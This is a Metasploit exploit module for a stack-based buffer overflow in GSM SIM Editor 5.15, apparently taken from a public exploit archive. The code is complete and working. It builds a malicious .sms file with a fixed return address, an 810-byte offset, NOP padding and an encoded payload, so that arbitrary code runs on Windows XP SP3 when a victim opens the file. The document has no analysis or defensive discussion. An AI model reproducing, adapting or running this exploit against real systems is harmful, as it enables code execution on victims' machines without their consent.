GSM SIM Editor 5.15 – Local Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'GSM SIM Editor 5.15 Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in GSM SIM Editor 5.15. When opening a specially crafted .sms file in GSM SIM Editor a stack-based buffer overflow occurs which allows an attacker to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ruben Alejandro', 'chap0 <contact.chap0[at]gmail.com>', 'Lincoln <lincoln[at]corelan.be>' ], 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/14258/' ] ], 'DefaultOptions' => { 'ExitFunction' => 'process', }, 'Platform' => 'win', 'Payload' => { 'Space' => 2000, 'BadChars' => "\x00", 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment #add esp, -3500 }, 'Targets' => [ [ 'Windows XP SP3', { 'Ret' => 0x00405201, # call esp - SIMEditor.exe 'Offset' => 810 } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jul 07 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.sms']), ], self.class) end def exploit buffer = rand_text_numeric(target['Offset']) buffer << [target.ret].pack('V').unpack("H*")[0] buffer << make_nops(30).unpack("H*")[0] buffer << payload.encoded.unpack("H*")[0] file_create(buffer) end end |